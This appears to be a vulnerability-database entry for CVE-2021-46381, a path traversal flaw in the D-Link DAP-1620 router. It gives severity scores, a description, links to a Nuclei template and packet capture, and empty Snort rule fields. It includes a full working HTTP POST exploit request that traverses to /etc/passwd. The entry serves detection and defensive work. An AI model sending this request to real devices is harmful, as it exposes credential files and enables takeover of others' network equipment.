🔙 목록으로 돌아가기

CVE-2021-46381: D-Link DAP-1620 - Local File Inclusion

TitleD-Link DAP-1620 - Local File Inclusion
Author0x_Akoko
SeverityHigh
ImpactAn attacker can exploit this vulnerability to access sensitive information, such as configuration files or credentials, leading to further compromise of the device or network.
RemediationApply the latest firmware update provided by D-Link to fix the local file inclusion vulnerability.
CVSS Score7.5
EPSS Score0.90499
CVE IDCVE-2021-46381
CWE IDCWE-22
Tags cve2021 cve lfi router packetstorm dlink vkev vuln

🔍 Vulnerability Description

D-Link DAP-1620 is susceptible to local file Inclusion due to path traversal that can lead to unauthorized internal files reading [/etc/passwd] and [/etc/shadow].

🌐 HTTP Request

POST /apply.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 AlohaBrowser/7.6.0
Connection: close
Content-Length: 261
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

action=do_graph_auth&graph_code=94102&html_response_message=just_login&html_response_page=../../../../../../../../../../../../../../etc/passwd&log_pass=DummyPass&login_n=admin&login_name=DummyName&tkn=634855349&tmp_log_pass=DummyPass&tmp_log_pass_auth=DummyPass

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46381.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-46381.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A